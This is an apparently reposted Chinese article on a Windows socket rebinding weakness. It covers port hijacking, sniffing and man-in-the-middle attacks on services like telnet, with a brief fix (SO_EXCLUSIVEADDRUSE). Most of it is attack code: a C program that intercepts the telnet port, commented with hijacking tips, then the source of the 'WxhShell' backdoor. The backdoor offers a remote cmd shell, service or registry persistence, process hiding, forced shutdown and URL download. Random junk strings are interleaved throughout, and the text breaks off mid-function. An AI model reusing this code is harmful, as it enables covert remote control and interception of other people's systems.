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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: is@?VklnB s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); *DhiN MnW+25=N saddr.sin_family = AF_INET; f(7GX3? ( &x['IR saddr.sin_addr.s_addr = htonl(INADDR_ANY); cQ_Hp
<D 13/]DF,S"^ bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); eb$#A _m Eu04e N 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 JOBhx)E LBP`hK:>W~ 这意味着什么?意味着可以进行如下的攻击: y1L,0 ] ENY+^7 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 C$)onk P=G3:eX 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Od)C&N=y 8, >P 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 `Ryp% Bn RViuJ; 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 ufT`"i h@@=M 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 NQ2E H}
g{Cr"Ex 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 @Do= k ;sFF+^~L 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 [j'X;tVX{ c~
V*:$F #include ,s;UfF #include .#pU=v#/[ #include UW
EV^ &"x #include t\ewHZG" DWORD WINAPI ClientThread(LPVOID lpParam); Owk |@6! int main() =odFmF { )53y
AyP WORD wVersionRequested; $iz|\m DWORD ret; GR32S=\ WSADATA wsaData; lnR{jtWP BOOL val; #Mw8^FST SOCKADDR_IN saddr; kMd.h[X~ SOCKADDR_IN scaddr; Q]>.b%s[ int err; q5:N2Jmo?z SOCKET s; pyvSwD5t SOCKET sc; %84rL?S int caddsize; h.t-`k7 HANDLE mt; E< fV Z, DWORD tid; \)|hogI|f wVersionRequested = MAKEWORD( 2, 2 ); !C:$?oU err = WSAStartup( wVersionRequested, &wsaData ); M =r)I~ if ( err != 0 ) { 5XBH$&Td printf("error!WSAStartup failed!\n"); Ph>%7M% return -1; R~$qo)v } IO-Ow! saddr.sin_family = AF_INET; 6NHX2Ja }pu27F)& //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 'b{]:Y ~Jz6O U*z saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); z' >_Mc6 saddr.sin_port = htons(23); sLAQE64\" if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) oILZgNe' { +; AZ+w]ZF printf("error!socket failed!\n"); Y0-n\| return -1; @I!0-OjL } LSr]S79N1 val = TRUE; ~R92cH>L //SO_REUSEADDR选项就是可以实现端口重绑定的 ?.;c$' if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) e**qF=HCw { [HZv8HU| printf("error!setsockopt failed!\n"); 6,{$J return -1; "a U
aotx } 6 ~w@PRy //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Q$@I"V&G. //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 V6reqEh //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 NHZz _a= ^$hH1H+V if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) pcWPH. { v^ VitLC ret=GetLastError(); :G%61x&=Zc printf("error!bind failed!\n"); wDe& 1(T^ return -1; z ~/` 1 } B,epzI listen(s,2); v
z '&%( while(1) ;@|n @ax { 81
sG caddsize = sizeof(scaddr); v,>Dbxn //接受连接请求 4@#
`t5H sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); wEvVL if(sc!=INVALID_SOCKET) 'AS|ZRr/ { y/ef>ZZ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Gu\q%'I if(mt==NULL) !."D]i; { ;@Y;g(bw: printf("Thread Creat Failed!\n"); 5taT5?n2 break; -z%^)VE } ^ sLdAC } Cd}<a?m, CloseHandle(mt); 68WO~* } \n|EM@=eE closesocket(s); nk's_a*Z WSACleanup(); 6zuTQ^pz return 0; ={@6{-tl } K^<BW(s DWORD WINAPI ClientThread(LPVOID lpParam) hy"\RW { <k'h:KB?` SOCKET ss = (SOCKET)lpParam; dE{dZ#Jfi SOCKET sc; a'yK~;+_9 unsigned char buf[4096]; @>Km_Ax SOCKADDR_IN saddr; 68C%B9.b' long num; +E(L \ DWORD val; ,uhb~N< DWORD ret; 4yA+h2 //如果是隐藏端口应用的话,可以在此处加一些判断 mLLDE;7|} //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 p}pjfG saddr.sin_family = AF_INET; 84zSK)=Y saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); . ~~T\rmI saddr.sin_port = htons(23); <
!C)x if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Pw`8Wj { w;:*P printf("error!socket failed!\n"); ,G?WAOy, return -1; h_,i&d@( } j@3Q;F0ba val = 100; q\4Xs$APq if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9W1YW9rL { DgQpHF ret = GetLastError(); +.b,AqJ/ return -1; .2Elr(&*h } yEoF4bt if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Ww+IWW@ { ZdWm:(nkU ret = GetLastError(); l'E*=Rn return -1; :vQrOn18p } Q6!zZ))~ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) z3m85F%dR { A>;bHf@ printf("error!socket connect failed!\n"); :g=qz~2Xk closesocket(sc); &>W$6>@ closesocket(ss);
goOCu return -1; dhf!o0'1M } u5b|#&-mX while(1) BLf>_bUk { DGn;m\B //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ;~ $'2f~U //如果是嗅探内容的话,可以再此处进行内容分析和记录 tOd&!HYL //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 -4IE]'## num = recv(ss,buf,4096,0); +RM SA^ if(num>0) qUW!
G&R send(sc,buf,num,0); s %``H` else if(num==0) 1N#|
}ad break; g-</ua(j num = recv(sc,buf,4096,0); )9'K($ if(num>0) :tB1D@Cb6 send(ss,buf,num,0); iDz++VNV else if(num==0) Sc1 8dC0 break; gpvYb7Of0 } kY|utoAP closesocket(ss); H.|#c^I closesocket(sc); GxI!{oi2 return 0 ; U}e!Wjrc } S.94edQ K6/Q}W CR`Q#Yi ========================================================== RYQR(v Q4!_>YZ 下边附上一个代码,,WXhSHELL ,,&*:<Q ~"&|W'he[ ========================================================== i$:*Pb3mV Vl/+;6_ #include "stdafx.h" r4XK{KHn 9`A;U|~E@ #include <stdio.h> Hz1%x #include <string.h> ]}-7_n#cC #include <windows.h> rq/yD,I, #include <winsock2.h> r6MMCJ|G #include <winsvc.h> 3G)#5Lf< #include <urlmon.h> 7uS~MW ?GoR^p #p #pragma comment (lib, "Ws2_32.lib") l|~A#kq #pragma comment (lib, "urlmon.lib") vMi;+6'n> Jr
,;>
#define MAX_USER 100 // 最大客户端连接数 `iAF3: #define BUF_SOCK 200 // sock buffer 5T_n %vz #define KEY_BUFF 255 // 输入 buffer a LroD$# nQX:T;WL@ #define REBOOT 0 // 重启 ['X]R:3h #define SHUTDOWN 1 // 关机 hl7bzKO*w 8>2.UrC #define DEF_PORT 5000 // 监听端口 j9x<Y] h5{'Q$Erl #define REG_LEN 16 // 注册表键长度 1MP~dRZ$ #define SVC_LEN 80 // NT服务名长度 xd q?/^E zl>nSndRE // 从dll定义API !*F1q|R typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); W#4 7h7M typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @; zl typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \=?a/ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); fNli \}u
Y'F // wxhshell配置信息 7 S#J>* struct WSCFG { dUeN*Nq&(, int ws_port; // 监听端口 UUYSFa% char ws_passstr[REG_LEN]; // 口令
{7"Q\ int ws_autoins; // 安装标记, 1=yes 0=no JIEK*ui char ws_regname[REG_LEN]; // 注册表键名 $k@O`xD,q char ws_svcname[REG_LEN]; // 服务名 AW%#O\N char ws_svcdisp[SVC_LEN]; // 服务显示名 G\/zkrxmv char ws_svcdesc[SVC_LEN]; // 服务描述信息 Zw
26 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 IXMop7~ int ws_downexe; // 下载执行标记, 1=yes 0=no ITE{@1 char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" \%JgH=@
:= char ws_filenam[SVC_LEN]; // 下载后保存的文件名 M)J5;^[" NR5gj-B[ }; =1FRFZI!j o lR?n(v // default Wxhshell configuration q 6:dy struct WSCFG wscfg={DEF_PORT, Uu10)/.LC "xuhuanlingzhe", UAkT*'cB 1,
acajHs "Wxhshell", 4x=v?g& "Wxhshell", fa
jGZyd0: "WxhShell Service", <.x{|p "Wrsky Windows CmdShell Service", !1jBC.G1 "Please Input Your Password: ", QUwd [ 1, j78i#}e " http://www.wrsky.com/wxhshell.exe", -]N
x,{ "Wxhshell.exe" 9tU]`f }; .KB^3pOpx 2@n{yYwy // 消息定义模块 [`#CXq' char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; O%WIf__Q char *msg_ws_prompt="\n\r? for help\n\r#>"; 1![!+X:w char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; G, }Yl char *msg_ws_ext="\n\rExit."; !fV+z%: char *msg_ws_end="\n\rQuit."; Avge eJi char *msg_ws_boot="\n\rReboot..."; <prk8jSWV char *msg_ws_poff="\n\rShutdown..."; !P2ro~0/ char *msg_ws_down="\n\rSave to "; 4qb/daE:Z L4@K~8j7 char *msg_ws_err="\n\rErr!"; MD}w Y><C char *msg_ws_ok="\n\rOK!"; JK7G/]j+Ez x77*c._3v char ExeFile[MAX_PATH]; yJ[0WY8<kC int nUser = 0; fbyd"(V8r HANDLE handles[MAX_USER]; oM
X int OsIsNt; A6 paA(C|%{ SERVICE_STATUS serviceStatus; aj-Km`5r} SERVICE_STATUS_HANDLE hServiceStatusHandle; -vAC"8)S =}<IfNA // 函数声明 gT6z9 int Install(void); lne|5{h int Uninstall(void); ")1:F> int DownloadFile(char *sURL, SOCKET wsh); 3p$?,0ELH int Boot(int flag); /`Ug9,* void HideProc(void); RF?`vRZOe int GetOsVer(void); [CTnXb int Wxhshell(SOCKET wsl); >1X|^ void TalkWithClient(void *cs); [@_Jj3`4 int CmdShell(SOCKET sock); (=FRmdeYl1 int StartFromService(void); ,X?{07gH int StartWxhshell(LPSTR lpCmdLine); DcS+_>a\{l O"+gQXe VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]E{NNHK%2N VOID WINAPI NTServiceHandler( DWORD fdwControl ); `{gHA+B ;gD})@ // 数据结构和表定义 p
.%]Q*8 SERVICE_TABLE_ENTRY DispatchTable[] = HRpte=`q { eYc$dPE {wscfg.ws_svcname, NTServiceMain}, '"52uZ{ {NULL, NULL} 1wii8B6 }; k<z)WNBf 5G}?fSQ> // 自我安装 }czrj%6 int Install(void) E[OJ+ ;c {
)| ccX char svExeFile[MAX_PATH]; O4 w(T HKEY key; RCJ|P~* strcpy(svExeFile,ExeFile); v<k?Vu 2bz2KB5> // 如果是win9x系统,修改注册表设为自启动 6dHOf,zjm if(!OsIsNt) { S*pGMuui if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { aI'&O^w+ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); XMZ,Y7 RegCloseKey(key); />C^WQI^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zE*li`@ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rV.}PtcFY RegCloseKey(key); v{RZJ^1 return 0; O}gV`q; } Nd4f^Y } ,};&tR } Fk7?xc else { ZT*ydln ?PLPf>e // 如果是NT以上系统,安装为系统服务 /|w6:;$;mn SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /*~EO{o if (schSCManager!=0) 'B$yo] { _1X!EH" SC_HANDLE schService = CreateService a9e>iU ( T}Tp$.gB schSCManager, N>uRf0E> wscfg.ws_svcname, sQ3[< wscfg.ws_svcdisp, TJd)K$O> SERVICE_ALL_ACCESS, _{ue8kGt SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #!B4 u?"m SERVICE_AUTO_START, ;7*[Bcj. SERVICE_ERROR_NORMAL, ejKucEgD svExeFile, ;._
l0Jw NULL, 299H$$WS,Z NULL, @3i\%R)n; NULL,
Q>qUk@ NULL, te`$%NRl NULL b#c:u2 ); HdI8f!X'TG if (schService!=0) %fZJRu
1b { n)/z0n!\ CloseServiceHandle(schService); @)+AaC#- CloseServiceHandle(schSCManager); &A/]pi-\ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Rr$-tYy6 strcat(svExeFile,wscfg.ws_svcname); C.:<-xo if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @&!ZZ
1V8 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); OF>mF~ RegCloseKey(key); m,28u3@r return 0; KM0ru } *-WpZGh } '6`3(TK.a CloseServiceHandle(schSCManager); B4/>H| } Mexk~zA^ } ' {OgN}'{ OKZV{Gja return 1; umfD>" ^I } @u+]aI!`- ldcqe$7, // 自我卸载 qbr$>xH int Uninstall(void) ]EbM9Fo-U { w(Ovr`o?9t HKEY key; EP&,MYI%E Ib!R D/ if(!OsIsNt) { 5ta `%R_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `7Q<'oK RegDeleteValue(key,wscfg.ws_regname); V-P#1Kkh RegCloseKey(key); P:S .~Jq if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v"$L702d$\ RegDeleteValue(key,wscfg.ws_regname); ~At7 +F[ RegCloseKey(key); +/7?HGf return 0; hag$GX'2k } c]-<vkpV } Gu,wF(x7A } o[4}h:> dq else { l4YbK np] c]<5zyl"j1 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0o4XUW if (schSCManager!=0) ]m q|w { F<1fX 7c SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -IudgO] if (schService!=0) qo~O|~ { EWt[z.`T1 if(DeleteService(schService)!=0) { //MUeTxR CloseServiceHandle(schService); dFc':| CloseServiceHandle(schSCManager); h4}84}5d return 0; X`/k)N>l } 3*bU6$|5FP CloseServiceHandle(schService); qZh/IW } aK~8B_5k8 CloseServiceHandle(schSCManager); 8`{:MkXP } (m}'4et~L } ;1=1:S8 xa*hi87L* return 1; r<EY]f^`u } T{^rt3a ]0OR_'?, // 从指定url下载文件 2'Uu:Y^ int DownloadFile(char *sURL, SOCKET wsh) J{<X7uB { Hio0HL- HRESULT hr; S+6.ZZ9c char seps[]= "/"; M0"_^? char *token; y<3-?}.aZ char *file; e{H=dIa+ char myURL[MAX_PATH]; Zl!kJ:0 char myFILE[MAX_PATH]; Kw^ 7>\ aO[w/cGQ strcpy(myURL,sURL); # w4-aJ token=strtok(myURL,seps); Lb-OsKU while(token!=NULL) >|=ts { H41?/U,{ file=token; ty!`T+3 token=strtok(NULL,seps); Qel9G($= } hZ,_6mNg `(;m?<% GetCurrentDirectory(MAX_PATH,myFILE); /}Axf"OE strcat(myFILE, "\\"); |-ALklXr strcat(myFILE, file); Rv>-4@fMJ send(wsh,myFILE,strlen(myFILE),0); Q{>k1$fkV send(wsh,"...",3,0); T763:v hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?j.,Nw4FC if(hr==S_OK) R\f+SvE return 0; 3,w_".m`# else H8jpxzXv return 1; 1GRCV8"Z^ 4J?0bZ } G_JA-@i% 372rbY // 系统电源模块 TX/Xt7#R: int Boot(int flag) ,p a {qne { (9d & HANDLE hToken; BlO<PMmhT& TOKEN_PRIVILEGES tkp; FV!q!D T::85 if(OsIsNt) { \@zHON( OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); gJ{)-\ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); F(n$ tkp.PrivilegeCount = 1; H?Wya.7 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; IOH}x4 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); kD%( _K5 if(flag==REBOOT) { }8z?t:|S if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) n@i HFBb return 0; WwFm*4{[o } r6qj7}\ else { z<;HQX, if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Or+U@vAnk return 0; _[3D } +sA2WK] } #{6/ (X else { xo&_bMO if(flag==REBOOT) { ^
@5QP$. if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) V!=,0zy~Z return 0; *&W"bOMH* } `wVyb>T else { `h\j99 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) J@'wf8Ub return 0; / SB;Von } jr."I+ } G` A4|+W" +'a^f5 return 1; m0SlOgRsk } d0ksG$ /~?*=}c^m // win9x进程隐藏模块 GxxW&y void HideProc(void) %> eiAB_b { 7}>E J ki!0^t:9 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); "^-a M if ( hKernel != NULL ) WT=;: j { ~!L}yw pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); W!(zT6# ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Q%G8U#Tm FreeLibrary(hKernel); AkV#J,
3LC } eMsd37J CTa57R return; q} >%8;nm } h]gp ^?= n>YKa)|W` // 获取操作系统版本 NLqzi%s int GetOsVer(void) a=2%4Wmz { CdQ!GS<'y OSVERSIONINFO winfo; R 9\*#c winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 3pKQ$\u GetVersionEx(&winfo); 6_Y,eL]" if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~?BXti<! return 1; 0,")C5j else ZE}}W_ return 0; :I#V. } &QgR*,5eo Rm( "=( // 客户端句柄模块 }7Q% 6&IR int Wxhshell(SOCKET wsl) 5b*C1HS@X { 8ib:FF(= u SOCKET wsh; a~w$#fo"`f struct sockaddr_in client; !|(NgzDP/ DWORD myID; N6:`/f+A>T 1+s;FJ2} while(nUser<MAX_USER) sgFEK[w.y { k,*XG$2h int nSize=sizeof(client); *2l7f`K wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Zy/_
E@C}u if(wsh==INVALID_SOCKET) return 1; ;=z:F<Y 0=YI@@n) handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); qE"OB if(handles[nUser]==0) zDG b7S{ closesocket(wsh); z0 3K=aZ else 9'B `]/L nUser++; WyiQoN'q } |6-nbj WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 9*M,R,y @yYkti;4- return 0; z b3tIRH } =s6 opL) 59u}W 0 // 关闭 socket l/5
hp. void CloseIt(SOCKET wsh) [/r(__. { ob]w;" closesocket(wsh); XCQs2CHt nUser--; \FaP|28h ExitThread(0); @0''k } jP.dDYc 8s@3hXD& // 客户端请求句柄 >t+P(*u void TalkWithClient(void *cs) !N^@4* { {.Jlbi9! gSj,E8-g SOCKET wsh=(SOCKET)cs; R;LP:,) char pwd[SVC_LEN]; OyIw>Wfv char cmd[KEY_BUFF]; "AqB$^S9t char chr[1]; tH4B:Bgj! int i,j; #'`{Qv0,
c:('W16 while (nUser < MAX_USER) { n$R)>nY }@)[5N#A| if(wscfg.ws_passstr) { [-w%/D%@ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .}+}8[p4l //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *-X[u: //ZeroMemory(pwd,KEY_BUFF); %BODkc Zh i=0; UiNP3TJ'L while(i<SVC_LEN) { V;=cwy)I 6y<EgYzdE // 设置超时 uxz^/Gk fd_set FdRead; lOp`m8_= struct timeval TimeOut; 8@R|Km5h FD_ZERO(&FdRead); Fr-SvsNFB FD_SET(wsh,&FdRead); 7tp36 TE TimeOut.tv_sec=8; 3so%gvY.' TimeOut.tv_usec=0; l]SX@zTb int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
='jT~\ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); zbiL P83 0g;|y4SN= if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z_NCD`i; pwd =chr[0]; /bmN\I if(chr[0]==0xd || chr[0]==0xa) { a+QpM*n7Lq pwd=0; !,PWb3S break; j>kqz>3 } +ZV5o&V> i++; /9X7A;O } %TqC/c 6eCCmIdaM // 如果是非法用户,关闭 socket <UCl@5g& if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); dh\P4 } =(^3}x
l^}c! send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); b,@/!ia send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I-)4YQI HaYo!.(Fv while(1) { ;*J xSu > ZeroMemory(cmd,KEY_BUFF); ,r}6iFu ,,r>,Xq6 // 自动支持客户端 telnet标准 7:@'B| j=0; AXB7oV,xt while(j<KEY_BUFF) { Ys7]B9/1O if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y{Q
{'De cmd[j]=chr[0]; I1J-)R+ if(chr[0]==0xa || chr[0]==0xd) { *1"+%Z^ cmd[j]=0; =~gvZV-< break; 9YGY,sx } JXxwr)i j++; x1a:u } rl.}%Ny '"Nr, vQo // 下载文件 ~ri5zb20 if(strstr(cmd,"http://")) { naNghGQ send(wsh,msg_ws_down,strlen(msg_ws_down),0);
!@sUj if(DownloadFile(cmd,wsh)) 2<6UwF send(wsh,msg_ws_err,strlen(msg_ws_err),0); p7~!z.)o else 1;iUWU1@ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ry]l.@o; } W*G<X.Hf else { QGz|*] g)B]FH1 switch(cmd[0]) { |y*c9 Rb;'O89Hj@ // 帮助 \<K5ZIWV case '?': { zm# ?W send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); iow"n$/ break; Ul# r } N>E_%]C h // 安装 D+c>F5 case 'i': { x1<|hTPk if(Install()) 9M ]_nP Y send(wsh,msg_ws_err,strlen(msg_ws_err),0); VN.Je:Ju else kGJC\{N5N send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); atzX;@"K break; u@444Vzg } 6~+emlD // 卸载 |[lKY+26:{ case 'r': { UZ";a453r if(Uninstall()) xx $cnG send(wsh,msg_ws_err,strlen(msg_ws_err),0); ig"L\ C"T else tX[WH\(xI send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bd`P0f? break; F[MFx^sT{ } MfkZ // 显示 wxhshell 所在路径 T>>c2$ x case 'p': { u:b=\T L char svExeFile[MAX_PATH]; p}P-6&k,U strcpy(svExeFile,"\n\r"); #z42C?V strcat(svExeFile,ExeFile); cb bFw send(wsh,svExeFile,strlen(svExeFile),0); d5 -qZ{W break; r<\u6jF } [B3RfCV{ // 重启 SWLo|)@[/ case 'b': { /@5YW"1 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 13f)&#, F if(Boot(REBOOT)) )}vl\7= send(wsh,msg_ws_err,strlen(msg_ws_err),0); P
{'b:C else { 2zpr~cB= closesocket(wsh); DwF hK* ExitThread(0); @|!z9Y* } Z :gyz$9w break; f
mGc^d|= } QL* IiFR // 关机 vSh`&w^* case 'd': { ?ubro0F: send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 5-M-X#( if(Boot(SHUTDOWN)) AwN!;t_0+N send(wsh,msg_ws_err,strlen(msg_ws_err),0); s^SJY{ else { ]^]wP]R_ closesocket(wsh); =H~j,K ExitThread(0); u:EiwRW } `X8F`5&U\f break; V.Mry`9- } TC"<g // 获取shell QW"! (`K case 's': { MQ4KdqgP CmdShell(wsh); $!DpjN closesocket(wsh); _B0L.eF ExitThread(0); ?Ob3tUz2 break; Ss`LLq0LO } W!<U85-#S // 退出 j.YA2mr case 'x': { +|rj4j)L&' send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _*zt=zn> CloseIt(wsh); vv7I_nK? break; OJxl<Q=z } g .\[o@H // 离开 8i pez/ case 'q': { Debv4Gr;^ send(wsh,msg_ws_end,strlen(msg_ws_end),0); r
:dTz closesocket(wsh); /<3UQLMa WSACleanup(); 1&2>LE/P exit(1); fR|A(u#9 break; EQ ttoOO } Wjc'*QCPl } nP$9CA } ElXFeJ%[G c%&>p|| // 提示信息 IK]d3owA if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y}H!c; } \Cj B1]I } 7d vnupLh `x|?&Ytmf9 return; p#Bi>/C6 } Z]ONh <}LC~B! // shell模块句柄 ;PH~<T int CmdShell(SOCKET sock) #1[u(<AS { =QsYXK7Mn4 STARTUPINFO si; o}!PQ#`M ZeroMemory(&si,sizeof(si)); cu6Opq9 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; DrQ`]]jj7 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ww/Uzv PROCESS_INFORMATION ProcessInfo; =#\:}@J5I char cmdline[]="cmd"; If.r5z9 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Q20%"&Xp] return 0; he4(hX^ } Y0>y8UV *2?@
|<(r // 自身启动模式 % `3jL7| int StartFromService(void) xfQ1T)F3g { [vgtc.V typedef struct wj+*E6o-n { $^P0F9~0 DWORD ExitStatus; HV.t6@\}; DWORD PebBaseAddress; O84i;S+-p DWORD AffinityMask; #F#%`Rv1 DWORD BasePriority; A's{j7 ULONG UniqueProcessId; hQi2U ULONG InheritedFromUniqueProcessId; }*-@!wc-N } PROCESS_BASIC_INFORMATION; 9iq_rd] o@Oqm> ]SS PROCNTQSIP NtQueryInformationProcess; nlYNN/@" OCUr{Nh static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &vJH$R static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :>*7=q= _LPHPj^Pg HANDLE hProcess; xwr8`?]y PROCESS_BASIC_INFORMATION pbi; "8RSvT<W^5 ! z**y}<T HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); P'2Qen* if(NULL == hInst ) return 0; E3i4=!Y Zh,71Umz g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); g ?k=^C g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, 